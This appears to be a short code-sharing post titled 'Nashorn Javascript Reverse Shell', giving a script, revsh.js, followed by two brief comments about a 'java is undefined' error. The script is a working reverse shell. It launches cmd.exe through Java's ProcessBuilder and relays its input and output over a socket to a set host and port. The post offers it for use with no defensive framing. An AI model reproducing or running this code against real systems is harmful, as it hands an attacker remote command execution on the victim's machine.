Nashorn Javascript Reverse Shell

revsh.js

var host="localhost";
var port=8044;
var cmd="cmd.exe";
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

when running it says java is undefined in line 4

same